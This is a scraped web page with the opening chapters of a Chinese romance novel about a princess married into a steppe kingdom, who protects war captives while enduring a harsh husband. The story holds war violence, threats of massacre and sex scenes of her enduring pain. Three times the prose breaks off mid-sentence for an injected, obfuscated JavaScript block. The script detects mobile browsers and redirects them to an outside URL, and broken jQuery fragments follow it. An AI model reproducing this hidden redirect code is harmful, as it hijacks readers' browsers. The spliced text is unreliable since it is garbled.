《嫁给草原狼王的第七年》
1. 和亲第七年
永和十五年秋,这是昭华公主嫁去漠北和亲的第七年。
.
微风拂过,麦田翻涌着金色的浪。
十来个孩子在田边围坐成圈,小脑袋随着诵读的节奏轻轻晃动。
“天地玄黄,宇宙洪荒。日月盈昃,辰宿列张……”
江熹禾被围在中间,拢了拢身上的披风。
明明只是初秋,风里还带着暖意,她却抬手掩住嘴唇,轻咳了两声。
但她脸上始终带着温柔笑意,见孩子们读到卡顿处,轻声提醒道:
“寒来暑往,秋收冬藏……”
闷雷般的马蹄声由远及近。
一支骑着铁甲战马的队伍卷起铺天盖地的灰尘,朝着他们呼啸而来。
“咳咳……”
江熹禾拉着孩子们避让到一边,捂住口鼻闷咳了几声。
她抬眼望去。
为首那人身量魁梧,穿着一身玄铁铠甲,腰悬弯刀,骑在通体乌黑的战马上,身姿挺拔如松。
正是漠北王森布尔,她的夫君。
森布尔昂首挺胸,平视前方,从她身边掠过时,连一个多余的眼神都没有分给她。
江熹禾目送大部队进入营地,在看到队伍末尾还拉着几辆囚车时,忍不住皱了皱眉。
“是漠北王回来啦!”
“漠北王又打胜仗啦!”
“漠北王天下第一!杀光所有东靖人!”
孩子们雀跃欢呼着。
江熹禾叹了口气,拍了拍手引回他们的注意力。
“好了,孩子们,今天先到这儿吧,前日布置的课业都交给我吧。”
孩子们闻言,纷纷从破旧的书包里掏出麻纸本子,七手八脚地往她怀里塞。
站在外围的男孩拎着布包的带子,脚尖踢着地上的小土块,看起来丝毫没有上前的打算。
江熹禾看向他:“青格勒,这次的课业又没写吗?”
“谁说我没写!”
青格勒立马从包里翻出皱巴巴的本子,猛地扔到她怀里,扭头就跑。
孩子们一哄而散,江熹禾蹲下身,细细整理怀里的课业本子。
“王妃!”
桃枝捧着新灌的汤婆子跑了过来,“天凉了,咱早点回去吧。”
江熹禾点了点头,却说:“不急,等我检查完他们的课业。”
她拿起本子一页页翻看,轮到青格勒那格外皱巴的本子时,她指尖突然顿住了。
那本子首页只写了半行“天地玄黄”,翻到第二页,却见潦草的墨痕歪歪扭扭地写着:“东靖妖女,滚出漠北!”
墨汁还没完全干透,有些字晕开了,看起来格外刺眼。
桃枝看了一眼,忿忿不平道:“王妃,您辛辛苦苦教他们耕种刺绣,读书识字,他们倒好,背地里这么骂您!依奴婢看,这些漠北人都是一群不知好歹的白眼狼!”
江熹禾若无其事地合上本子,轻声道:“漠北与东靖打了这么多年仗,多少人家破人亡,国仇家恨哪是一朝一夕能消解的?且耐心些吧。”
刚说罢,又是一阵秋风吹来,激起她一阵轻咳。
桃枝把汤婆子往她怀里塞了塞,仍是不服气地嘟囔着:“这都七年了,您在他们手里受了多少罪,身子都被他们毁了,还替他们说话呢……”
江熹禾只当没听见,轻飘飘转移了话题。
“漠北王又抓了俘虏回来?”
桃枝眉心一拧:“刚刚匆匆看了一眼,这次好像又抓了不少东靖百姓。”
江熹禾轻叹口气,拢着肩头的披风站起身。
“走吧,去看看。”
营地西侧的空地上,三辆囚车歪斜地停着,木栏间隙里挤着密密麻麻的人。
一群漠北战士挎着弯刀,围着囚车来回踱步,粗鄙的骂声刺耳传来:
“东靖的贱种!都给我老实点!”
囚车里挤着衣衫褴褛的老人,满脸惊惧的妇人,还有几个半大的孩子。
满脸络腮胡的战士甩了甩马鞭,吓得车里的人纷纷往后缩。
“哭什么哭?再哭把你们都扔去喂狼!”
有眼尖的战士发现囚车角落蜷缩着的女孩,猛地拉开门把她扯了下来。
“大哥,这女娃娃长得还不赖,不如咱们留着当个马奴?”
这话一出,周围的战士顿时发出心照不宣的哄笑声。
“哈哈,还是你小子眼尖!这女娃确实比那些老弱病残有用多了!”
“留着吧留着吧,正好给咱们解解闷!”
女孩被他们推搡着跌坐在地上,满脸都是惊恐的泪痕。
“辛夷!”囚车里的老人拼命伸出手,“你们这群畜生!别动我孙女!”
“啪!”
一声响亮的鞭响,一道深可见骨的鞭痕落在老人手臂上。
络腮胡啐了一口,“东靖猪!什么时候轮得到你说话了!”
他瞪着眼睛又扬起马鞭,似乎还要再抽。
“住手!”
江熹禾提着裙摆匆匆赶来。
桃枝绷着脸,紧紧跟在她身后。
众将士让开一条路,打量她们的眼神却有些玩味。
“哟,这不是咱们的王妃嘛!”
络腮胡大咧咧地提了提腰带,态度散漫又无礼。
“您不好好在帐子里待着喝汤药,跑来营地做什么?”
江熹禾扶起地上的女孩,把她护在身后。
“漠北军营有规定,不可虐待战俘,你们难道都忘了吗?”
络腮胡哈哈大笑,用马鞭指着她:“瞧瞧这东靖妖女,还真把自己当王妃了!也不看看自己的身份,还管到咱们军营里来了!”
周围的战士们哄笑间,又去拉扯江熹禾身后的女孩。
“你们住手!”
桃枝护着江熹禾,拼命挥开那些不怀好意的手。
“你们一群大男人,欺负弱女子算什么本事!”
“呵!”
络腮胡脸色骤然沉下来,冷哼一声。
“他们东靖人杀我妹妹的时候,可想过她也不过是个半大的孩子?!”
络腮胡猛地推开挡在前面的桃枝,说着就要去拉江熹禾的胳膊。
突然——
一个更为高大魁伟的人影出现在他身后,一把攥住了他伸出去的手臂。
“王?”
“王来了!”
众将士纷纷垂首跪地,络腮胡也丢下马鞭,慌忙恭敬行礼。
“属下参见漠北王!”
森布尔冷冷扫过一众将士,视线最后停在江熹禾脸上。
“把战俘带回牢营,严加看管,听候发落。”
他转过身,对江熹禾抬了抬下巴,“跟我走,回去吃饭了。”
“动作快点,别让我等。”
森布尔说完,便大步流星地走向王帐。
江熹禾转过身,拍了拍女孩身上的灰尘,又掏出帕子给她擦了擦眼泪。
“别怕,我会想办法救你们出去的。”
女孩恸哭出声,转身扑进爷爷怀里。
老人整条手臂鲜血淋漓,血珠沿着指尖滴答。
江熹禾蹙着眉,对桃枝吩咐道:“快去我帐里拿些止血的金疮药和干净布条来,先给老人家简单包扎一下。”
桃枝点头应了一声,小跑着离开了。
络腮胡一直目送森布尔的身影消失,这才站起身,恶狠狠地瞪了江熹禾一眼。
“都愣着干什么?”他扯着嗓子喊,冲着手下的士兵挥了挥手。
“走!把这些东靖猪都带下去,关进牢营!”
女孩被粗暴地塞回囚车,车轮重新滚动起来,载着这群百姓走向营地深处。
江熹禾不敢让森布尔多等,连忙提起裙摆又往王帐里赶。
王帐的毡帘一掀,扑面而来的便是浓烈的酒肉荤气。
帐子里已经坐满了一圈军中将领。
他们面前堆着小山一样的好酒好肉,大声嚷嚷着,都在为今日的胜仗而欢呼庆祝。
江熹禾缓步上前,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730398|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对着坐在首位的森布尔行了个礼,这才抚着裙摆在他身侧坐下。
她气质清冷,姿态端庄,与帐中喧闹的氛围格格不入。
森布尔漫不经心端着酒碗,余光却睨着身侧的人。
“今日又去教孩子们读书了?”
江熹禾微微颔首:“嗯。”
“青格勒那小子,没给你找麻烦吧?”森布尔仰头灌了一大口酒。
江熹禾轻笑着摇头:“没有。”
“那就行。”
森布尔突然伸出大手,在她腰上揽了一把。
“几日不见,怎么感觉你又瘦了?”
江熹禾轻轻按住他的手,“许是今日天热,我穿得少了些。”
森布尔盯着她的侧脸看了片刻,从盘子里扯下一条油亮的羊腿,“哐当”一声丢进她面前的银盘里。
“多吃点,不然整日都病歪歪的,像什么样子!”
江熹禾轻轻“嗯”了一声,拿起匕首,小心地割下一小块肉,放进嘴里,斯斯文文地嚼着。
她的动作又轻又慢,慵懒优雅,感觉像小猫儿似的。
森布尔支着下巴看她吃东西,嘴角不自觉地勾了勾。
“哈哈哈!今日这仗打得痛快!”
一个满脸横肉的将领端着酒碗,大声嚷嚷着。
“一看见咱们漠北王,那些东靖兵跑得比兔子还快,连兵器都扔了一地,真是一群孬种!”
“哈哈哈!要我说,就应该把这几车的俘虏,拉到他们城墙底下,一个个杀了放血!让他们知道知道咱们的厉害!”
江熹禾手里的匕首突然一颤,磕在碗沿,发出一声轻响。
森布尔眯了眯眼睛,转头看向帐内众人:“这场仗,咱们也折了不少兄弟,俘虏自然是要杀的,不拿他们的血祭咱们的兄弟,难解心头之恨。”
“漠北王英明!”
将领们齐声应和,震耳欲聋的声浪像是要把帐子掀翻。
江熹禾放下手里的匕首,沉默地垂下眼睫。
森布尔抹了把唇角的酒痕,问她:“这就吃饱了?”
江熹禾露出一个勉强的笑,“饱了。”
森布尔轻嗤一声:“三岁的娃娃都比你能吃!再这么下去,风大一点都能把你刮跑。”
江熹禾没有反驳,只是坐直身子,双手轻轻搭在膝上,像尊安静的玉雕像。
这场庆功宴一直闹到深夜,烛火换了好几根,将领们才陆续散去。
等到江熹禾回到帐子里,洗漱完躺回床上,已经过了子时了。
她吹熄了床头的烛台,正准备休息,突然一个沉重的黑影压了上来。
熟悉的气息带着浓重的酒气落在她脸上。
“王……不行……”
她艰难地抵着森布尔的胸膛,小声解释:“我月信来了,不能同房。”
森布尔发出一声不满的冷哼,从她身上翻了下来,赌气似的背过身去。
江熹禾直起身子,轻轻搭上他的肩膀。
“别生气,等到明日……应该就差不多了。”
森布尔没接话,但却转过了身,一把将人搂进了怀里。
“睡觉。”
江熹禾温顺地窝在他怀里,斟酌了好一会儿才开口:“王……战俘里还有许多老人和孩子,他们都没拿过刀,也没上过战场……您能不能放过他们?”
黑暗中,她静静听着森布尔的心跳,好一会儿才听到他开口:
“我说过,东靖欠漠北的血债,必须用命来还。我迟早要踏平东靖,杀光所有东靖人。”
江熹禾没有再劝,好一会儿都没了动静,像是睡着了。
但森布尔知道她没有。
虽然此刻看不见她的脸,但他太熟悉她的模样了,她一定又露出了那种难过的表情。
那种眼睁睁看着自己的同胞子民被杀,满心痛苦哀伤却又无能为力的表情。
森布尔心生烦躁,把她的脑袋往怀里按了按,语气生硬地重复了一遍:
“睡觉。”
2. 两国的罪人
第二天一早。
江熹禾便安排桃枝带着人去麦田里抢收麦子。
这批麦子是她花了七年的时间培育出来的,抗旱,抗寒,是漠北这片贫瘠的土地上,为数不多可以种植出来的作物。
眼下虽是早秋,但漠北的冬天总是来得很早,她们必须要赶在天气降温之前把地里的麦子都收回来。
江熹禾独自拎着食盒来到关押战俘的牢营。
负责看守的侍卫得了漠北王的命令,此刻也只把她当做空气。
牢营内的百姓蜷缩在角落,互相依偎取暖,脸上皆是疲惫和绝望。
江熹禾蹲在栅栏边打开食盒,拿出碗碟递了进去。
“饿坏了吧?先吃点东西垫一垫,晚点我再想办法……”
她话还未说完,门口缩着的妇人忽然挥手掀翻了她带来的碗碟。
“快滚吧!你这个东靖的叛徒!少来这里惺惺作态了!”
汤汁飞溅在江熹禾的裙摆上,晕出一团油腻的污迹。
她太清楚这恨意从何而来。
在东靖百姓眼中,她是当年风风光光嫁去漠北和亲的公主,是两国和平的希望。
所有人都以为,献上了最受宠的公主,边境的战火总能平息几分。
可谁也没料到,森布尔的野心从未因这场和亲收敛半分。
铁骑一次次踏过东靖的土地,屠戮从未停下。
当战火一次次吞噬家园,当亲人在马蹄下哀嚎,百姓们在绝望的惶恐中,渐渐把怨气都撒在了江熹禾身上。
为什么我们已经献出了公主,却还要承受这些?
一定是她没用!
一定是她背叛了东靖!
她与漠北王同流合污,忘了自己的根,才让我们的日子这么苦!
这一切都是她的错!
江熹禾扶起歪倒的碗碟,默默把食盒放在了栅栏边。
牢里无数双望向她的眼睛里,有仇恨,有冷漠,也有怀疑。
不过她最终还是什么也没说,转身离开了这里。
江熹禾蹲在水渠边,用皂角搓洗着裙摆上的油污。
这条水渠是当初她花了好几个月的时间,带着农户们一点一点挖出来的。
也正是靠着这渠水,她培育的麦子才能在风沙里扎根。
看着那稀疏的嫩芽逐渐抽出饱满麦穗,这片贫瘠的土地上,似乎正在焕发出新的生机。
可殊不知她的这些行为,在东靖百姓眼中,却成了背叛的铁证。
冰凉的渠水漫过她的手背,皂角在掌心渐渐融化。
寒意顺着浸湿的裙摆渗进身体里,江熹禾不自觉打了个寒颤。
“早就说了让你不要理会那群战俘,人家早就不把你当成自己人了,你还偏偏上赶着去找不痛快。”
森布尔不知何时也来到了田边,漫不经心地倚在树下,抱着手臂懒懒地看着她。
江熹禾回头看了他一眼,继续自顾自地搓洗着裙摆。
“他们如何看我,并不重要。我只是在做我认为对的事罢了。”
森布尔轻哼一声,不屑道:“你只需要记着,你是我的人,那些东靖人的死活,跟你半分关系都没有。”
见她没有回应,森布尔沉着脸走近几步。
“你……”
他刚想说什么,却突然看见了江熹禾浸在水里的那双手。
那双手本就纤细,此刻被渠水冻得青白。手指上的冻疮已经被水泡的开裂,正丝丝缕缕地渗着血。
他一把扯起地上蹲着的人,不耐烦道:“都这样了还在这儿洗衣服?你这双手不想要了?”
说罢也不等她回答,直接半拉半拽地牵着人回到了帐子里。
森布尔叮铃哐啷地从药箱里翻找出药膏,脸上怒气冲冲,但给她上药的动作却十分轻柔。
江熹禾看着他压低的眉眼,温柔笑道:“不用担心,没事的。”
“没事?”
森布尔的怒气瞬间被引燃了,抬手猛地把药膏丢回药箱。
“没事没事,你整天就会说没事!被欺负了也没事,生病了也没事,连孩子没了也没事!在你心里,到底怎么样才算有事?!”
帐子里瞬间静了下来,只有他粗重的呼吸声。
江熹禾没有辩解,还是平静地看着他。
她的眼神让森布尔觉得自己此刻就像一个无理取闹,只会乱发脾气的小孩。
他抓起药箱里的纱布丢在她身上,丢下一句“我不管你了!”就气冲冲地离开了帐子。
江熹禾看着晃动的帐帘,幽幽叹了口气。
天色渐沉,帐外的风声弱了些。
江熹禾坐在矮榻上,手里捧着一卷厚厚的医书。
几个侍女捧着叠得整齐的衣物轻步走进来,恭敬道:
“王妃,这是大王特意让人从漠北最好的织坊送来的新衣服,请您过目。”
那层层叠叠的衣裙上绣着缠枝莲的暗纹,光泽细腻,一看就是上好的料子。
“放下吧。”
江熹禾声音依旧温和,目光却很快落回医书上,没再多看那堆衣物一眼。
森布尔骑着马在草场里跑了一圈又一圈,眼看日头就要西斜,他才猛地勒住缰绳,翻身下马。
侍从连忙上前,递过一个水囊,他接过仰头灌了一大口。
心里那点烦躁终于被压下,他随手抹了把水渍,问:“衣服都送去了吗?”
侍从回话:“已经让人送去王妃帐子里了。”
森布尔“嗯”了一声,看了眼天色。
这都过去两三个时辰了,也该消气了吧?
“回吧!”
他把马缰丢给侍从,迈开长腿往偏帐方向走。
桃枝刚把晚餐送进帐子里,森布尔就一把掀开了帐帘,把里面的主仆二人吓了一跳。
森布尔不自然地摸了摸鼻子,“吃饭呢?”
江熹禾对他弯了弯唇角:“还没动筷,王要不要一起吃点?”
她本是随便客气一句,因为森布尔平时基本都在军营吃饭,很少来她这偏帐一起用膳。
但他今日却像是早等着这句话,大手一挥:“好啊,去给我也上一份!”
桃枝缩着脖子打量他一眼,抱着食盘连忙跑出去了。
森布尔大咧咧地在江熹禾身边坐下,视线却扫到了矮榻边。
那叠新衣服还整整齐齐地放着,显然是没动过的样子。
他眉头一沉:“怎么?这些新衣服你都不喜欢?”
江熹禾顺着他的视线扭头看了一眼,温声道:“喜欢,但是……”
她顿了顿,抬头看着森布尔:“王,我平日里穿素衣就够了,并不需要这么多华贵的衣服。如果您心里是想对我好,想补偿我些什么的话,能不能请您
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730399|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放了牢里的战俘?”
听她又提起此事,森布尔怒极拍桌,“谁要补偿你了?江熹禾,你少自作多情!牢里那些人我一个都不会放过!劝你趁早死了这条心!”
桃枝端着满满登登的托盘刚走到门口,就听到里面传来一声巨响,紧接着森布尔就一把掀开帐帘,满身怒气地离开了。
王,还回来吃饭吗……?
她在帐外犹豫半晌,还是小心翼翼进了屋。
“王妃,您又跟王吵架了?”
江熹禾疲惫地揉了揉眉心,叹道:“端回去吧,他不回来吃了。”
夜里。
江熹禾刚酝酿出一丝睡意,突然感觉帐帘被人掀开,一股冷风灌了进来。
“王?”
她坐起身,轻轻唤了一声。
森布尔没开口,在黑暗中屏息等待,像一头猎食的豹子一样,猛地把她扑倒在床上。
“唔……”
后脑猝不及防磕在床沿,江熹禾吃痛地轻嘶了一声。
“没事吧?”
森布尔停下动作,撑在她身体上方问。
江熹禾缓过这阵锐痛,轻颤着摇头:“没事。”
森布尔压住她的手脚,缓缓俯身,灼热的吐息落在她的颈边。
江熹禾咬牙忍耐着,就算痛极了,也不会轻易泄出声音。
(……)
森布尔搂着怀里的人,睡得香甜。
像一头餍足的狮子,连眉宇间都透着难得的柔和。
天色才刚蒙蒙亮,他就神清气爽地睁开了眼。
怀里的江熹禾还沉沉睡着,被他抱得出了一身薄汗。
森布尔忍不住勾了勾嘴角,俯身在她轻蹙的眉心落下一吻,轻手轻脚地起床穿上衣服,去了军营。
桃枝掐着时间来到王妃的帐子里,发现床上的人还昏睡着。
“王妃,”她轻声唤着,“时辰不早了,该起了。”
江熹禾艰难撩开眼皮,哑声问:“咳……什么时辰了?”
“王妃,已经巳时了。”
桃枝扶着她坐起身,突然瞥见她身上的青紫指痕,忍不住嘀咕道:“漠北王也真是的,您身子这样不好,昨夜还折腾到那么晚,就不知道怜香惜玉些!”
“桃枝,别说了。”
江熹禾按了按太阳穴,只觉得脑袋还有些昏沉。
“田里的粮食收得怎么样了?”
桃枝一边伺候她穿衣,一边回话:“正让人收着呢,早上有几个刺头想找事,不过被漠北王压下去了。”
“战俘那边呢?”
“还在牢里关着,暂时没什么动静。”
“记得派人去给他们送些吃的喝的,还有应急的伤药。”
“知道了。”
桃枝取来厚厚的鞋袜准备给她穿上,这才发现那对纤细的脚踝上,更是被掐出了整整一圈泛青的痕迹。
这漠北王!下手忒没个轻重!
抱怨的话在嘴边绕了个圈,可想起王妃的叮嘱,最后还是咽了回去。
江熹禾精神有些怏怏,又忍不住咳嗽了几声,问:“王又去军营了?”
“一早就去了。”
桃枝小心翼翼地给她套上鞋袜,生怕碰疼了她。
“他自个倒是神清气爽了,一点不顾及您的身体。”
江熹禾失笑:“你这小丫头,瞎说什么呢。”
3. 沉疴难愈
日头升至半空,草原上的风带着暖意。
森布尔斜倚在看台上,看着场内的将士们演练阵法。
弯刀和盾牌碰撞的“铮铮”声在空旷的草场上回荡。
他指尖绕着一根随手拔掉的草茎,心里浮现的却是江熹禾那张脸。
她垂眸时纤长的睫毛,蹙眉时隐忍的神情,还有被他压在身下时难耐的轻颤。
昨晚种种在脑海里反复回味,森布尔眯了眯眼睛。
江熹禾的一颦一笑落在他眼里,就比任何旖旎景象都要勾人,简直就是这世间一等一的情药。
让他食髓知味,欲罢不能。
这都快晌午了,她应该也起来了吧?
要不一会儿先回去看她一眼?
正想着,草场内朝他奔来一个人,打断了他的沉思。
“王!”
森布尔回过神,丢下了手里的草茎,问:“塔林,阵法都操练完了?”
塔林在他面前站定,脸上却满是按捺不住的兴奋:“王!您刚才看见我们最后的合围阵型没?”
“照这势头,下次再跟东靖人对阵,咱们肯定能长驱直入,直接踏碎那些人的脑袋。”
森布尔却比他要平静得多,抬手指了指场内。
“刚才左翼第三队转向时,明显速度没跟上。此时敌军若是从侧后方突袭,第三队就是第一个被冲散的缺口。”
塔林面色一僵,讪讪道:“我瞧着也还好吧,哪能算得那么精准。”
森布尔严肃道:“战场之上,半息便能定生死。到时候阵型一乱,铁蹄之下,踏碎的可就是咱们的脑袋。”
塔林听得额头冒了汗,低头道:“您说的是,属下这就再继续加练!”
森布尔拍了拍他的肩,语气缓和了些:“也不用太急,快晌午了,让兄弟们先歇会儿吧。”
“是!”
塔林抹了把汗,刚准备下令,突然听见不远处传来一声稚气的呼唤。
“爹爹!爹爹!”
两人循声望去,原来是塔林三岁的儿子阿木,正举着个草蚂蚱,兴冲冲地跑了过来。
塔林乐呵呵地弯腰抱起儿子,捏了捏他的脸蛋。
“你怎么来了?娘亲呢?”
阿木回头指了指,站在草场边的妇人笑着对他们挥了挥手。
森布尔走上前,揉了揉阿木的脑袋,“时间过得真快,还记得你儿子刚出生时,才那么点儿大,如今都能跑着喊爹爹了。”
塔林仰头大笑:“可不是嘛!咱们天天忙着打仗,等回过神来,家里的孩子都长这么大了!再过两年,都能跟着我学骑马了!”
森布尔笑容一僵,心头猛然传来一阵刺痛。
如果当初江熹禾肚子里的那个孩子能平安降生,如今也应该跟阿木差不多大了吧……
塔林看着他的脸色,俯身把儿子放回地上,在他脸颊亲了一口。
“去找你娘亲吧,爹爹忙完了就回去陪你玩。”
阿木乖巧地点点头,撒开小短腿,很快又回到了妇人身边。
森布尔坐回椅子里,心里有些说不出的烦躁。
那年江熹禾因为一碗毒汤失了孩子,连带着也差点丢了半条命。
自那以后,她的身子像个四处漏风的旧风箱,竟是怎么补也补不回来了。
这几年,他特意让人寻了漠北最好的药材,顿顿都是滋补的膳食,恨不得把全草原的好东西都堆到她面前。
可她的肚子,偏偏就是没个动静。
塔林看出他的烦恼,上前劝道:“王,咱们漠北这么大,什么样的女人没有?您不行就再多纳几个妾,还愁生不出孩子?”
森布尔磨了磨后槽牙。
他今年已经二十五了,在漠北,像他这个年纪的汉子,哪个不是孩子都满地跑了。
偏他这个漠北王,守着偌大的草原,却连个能承欢膝下的孩子都没有。
这些年,对他投怀送抱的女人也不少。
有部落首领送来的娇女,有战场上俘获的美人,个个都卯足了劲儿想往他床上爬。
可是不知从时候起,他的心思除了打仗,就是放在他的王妃身上。
她性子清冷,却心怀慈悲。明明孱弱得风一吹就倒,但那单薄的脊背却始终挺得笔直。
即使身陷困境,受尽苦楚,也从未怨恨过任何人。
森布尔真是爱惨了她这幅样子。
那些庸脂俗粉的谄媚嘴脸,根本就连江熹禾的一根头发丝都比不上!
森布尔深吸一口气,眼底掠过几分执拗的狠劲。
不就是伤了身子嘛!
漠北的大夫治不好,他就派人去东靖寻最好的医士!
寻常药方没用,他就搜遍深山去找珍稀药材!
哪怕把这天地翻个底朝天,也要把她的身子调理好!
塔林见他半晌不说话,还想再劝。
森布尔却猛地一拍扶手,沉声道:“不必再说了,我心里有数。”
森布尔踏着晌午的烈日回到偏帐,刚好碰到桃枝端着食盘从里面出来。
桃枝抬头看见他,也吓得一颤,“王……您回来了。”
森布尔低头瞟了一眼。
白瓷碗里的羊肉羹已经凉了,碗里的饭粒分明没动过几口,青菜也还保持着刚盛出来的样子。
他拧着眉头问:“怎么回事?王妃没吃吗?”
“回,回禀大王,王妃身体不适,没有胃口。”
“没胃口?又怎么了?”
森布尔心里顿时窜起股无名火,猛地一把掀开帐帘,大步跨了进去。
江熹禾原本支着脑袋靠在榻上,听见动静,抬头望去。
“王?您怎么回来了?”
森布尔沉着脸在她身边坐下,压着脾气问:“为什么又不吃饭?你这身子本来就弱,不好好吃饭进补,还怎么养起来!”
他越说越克制不住火气,声音也越来越大。
“你不清楚自己的身体情况吗?还能由着性子胡来?这样下去,什么时候才能——!”
他猛地闭了嘴,喉结滚了滚,扭头错开了视线。
江熹禾掩着唇轻咳了几声,哑声哄道:“王,您别动怒,我只是这会儿有些头疼,缓一缓好些了就会吃的。”
“早上还好好的,怎么又头疼了?”
森布尔转过头,这才发现她脸上还泛着不正常的薄红。
他心头一紧,伸手探了探她的颈侧。
指尖触到的皮肤滚烫,比平日里的温度高了不止一星半点。
原来她早上不是热得出汗,而是发烧了!
“不舒服怎么不早说?叫大夫来看了吗?喝药了吗?”
森布尔连忙把她抱进怀里,搁在腿上,手指轻轻按揉她的太阳穴。
江熹禾眯着眼睛,“别担心,已经喝过药了,歇会儿就好。”
森布尔透过她微敞的领口,看见她身上的青紫痕迹,这才后知后觉自己刚刚那通脾气发得有多混账。
“别说话了,我帮你按会儿,你闭上眼睛好好休息。”
江熹禾扶住他的手,“您下午不是还要去草场盯着他们练兵吗?我真的没关系,只要睡一觉……”
森布尔直接一巴掌捂住她的脸,“让你别说话就别说话!练兵有塔林盯着,不差这半天,你就别操心了!”
江熹禾呼吸不畅,蜷起身体咳嗽起来。
森布尔连忙扶着她的背,让她趴在自己怀里,大手上下轻抚着她的脊背。
“睡吧。”
江熹禾歪着脑袋枕在他肩头,随着他的动作轻轻晃动,不知不觉就睡了过去。
怀里的人轻得像纸,掌心下的脊骨清晰得硌人,森布尔喉间发紧,眼里的情绪复杂交织。
江熹禾精神不济,这一觉足足睡了两三个时辰。
等她再睁开眼时,帐内已经一片昏暗。
磨人的头痛似乎消退不少,她刚挪了挪身体,突然听到身边响起熟悉的声音:
“醒了?饿不饿?”
江熹禾转头望去,惊讶道:“您怎么还在这里?”
森布尔不悦道:“怎么?你觉得我会丢下生病的人,去看草场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730400|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练兵?”
“咳……我不是那个意思。”
江熹禾从床上坐起身,被子从肩头滑落,露出一片白皙的肌肤。
“身子不好就多注意着点,别动不动就生病,让人跟着操心。”
森布尔抄起一旁的大氅把她裹住,抱着人在桌前坐下。
“我让人备好了饭菜,端上来给你吃点?”
江熹禾被裹得严严实实,局促地挣扎了下:“王,您放我下来吧,我可以自己吃。”
森布尔捉住她的手看了看,“这手上的冻疮还没好,怎么用筷子?还是我喂你吧。”
“王……”
“你是小狗吗?天天一开口就是汪汪汪。”
江熹禾的拒绝还没说出口,便又被堵了回去。
桃枝端着饭菜搁在桌上,看着自家王妃被那凶神恶煞的漠北王抱在怀里喂饭,心里也是喜忧参半。
喜的是,这人终于还算有点良心,知道心疼照顾人了。
忧的是,王妃这身子,今晚若是再侍寝,恐怕又要去掉半条命了。
森布尔端着汤碗,手拿着小勺,仔细吹凉了才递到江熹禾唇边。
江熹禾勉强吃了几口,忍不住小声道:“您还是放我下来吧。”
“怎么?”森布尔低头看她,“都老夫老妻了,喂个饭还要害羞?”
“……”
江熹禾偏过头,白皙的耳尖泛着粉红。
森布尔觉得她这幅害羞的样子很是有趣,故意低头凑到她耳边,悄声道:“怎么不吃了?还是说……你想让为夫换种方式喂你?”
!
江熹禾大窘,飞快地抬头瞪了他一眼。
“哈哈哈……”
森布尔开怀大笑,又从盘子里夹出一大块儿牛肉。
“你好好把这些都吃了,我就不逗你了。”
江熹禾半推半就地吃下了大半饭菜,这才终于从森布尔怀里解脱出来。
她一骨碌滚到榻上,翻了个身用被子蒙住自己,像个自欺欺人的鸵鸟。
森布尔看着床上那个小小的鼓包,脸上的笑意更深,心里憋了一天的烦闷此刻终于彻底消散了。
吃完饭,洗漱完。
森布尔带着沐浴后的皂角清香,躺在了江熹禾身边。
他枕着自己的手掌,偏头看着那颗毛茸茸的发顶。
“我熄灯了?”
那颗脑袋轻轻点了点。
森布尔探过身,吹熄了床头的烛台。
他撑着床沿翻了个身,把缩在角落里江熹禾连人带被子一起抱进怀里。
“睡吧。”
睡了一整天的江熹禾此刻根本没有一丝睡意,她悄悄从被子里探出头,试探着问:“王,您……今晚不要了吗?”
森布尔在黑暗中似乎轻笑了一声,“我倒是随时可以,只不过你的身体还受得住吗?”
江熹禾点了点头,然后才意识到他看不见,于是又补充道:“我没关系的,来吧。”
森布尔盯着她的脸,高高挑起了眉梢。
他摊开手脚,仰面躺在床上。
“行啊,那这次你自己来。”
江熹禾抿了抿唇,缓缓从被窝里爬了出来。
屋子里光线昏暗,但却丝毫不影响森布尔看清她脸上的绯色。
江熹禾缓缓爬到他的身上,解开他上衣的系带,又摸索着去解他的腰封。
但那腰带被森布尔死死压在身下,她费了半天力气也没能解开。
她泄了气,倒在森布尔胸前,“王,您就别捉弄我了。”
“是你自己不行,怎的算我捉弄你?”
森布尔搂住身上的人,侧过身把她轻轻放在床上。
“好了不闹了,你才刚退烧,身子还虚着,还是乖乖睡觉吧。”
江熹禾本想说自己睡了一天了,现在根本睡不着。
可她的后背被森布尔的手掌轻轻摩挲着,没一会儿就觉得眼皮发沉,竟是又沉沉睡了过去。
森布尔低头看着她的睡颜,轻轻帮她掖了掖被角。
“睡吧。”
4. 鲜血灌溉的草野
森布尔一早又去了军营。
桃枝递过温热的帕子,仔细瞧着自家主子的脸色,忍不住道:“王妃,您今日的气色瞧着倒是好多了。难道昨晚大王真的什么也没做,就贴身照顾了您一夜?”
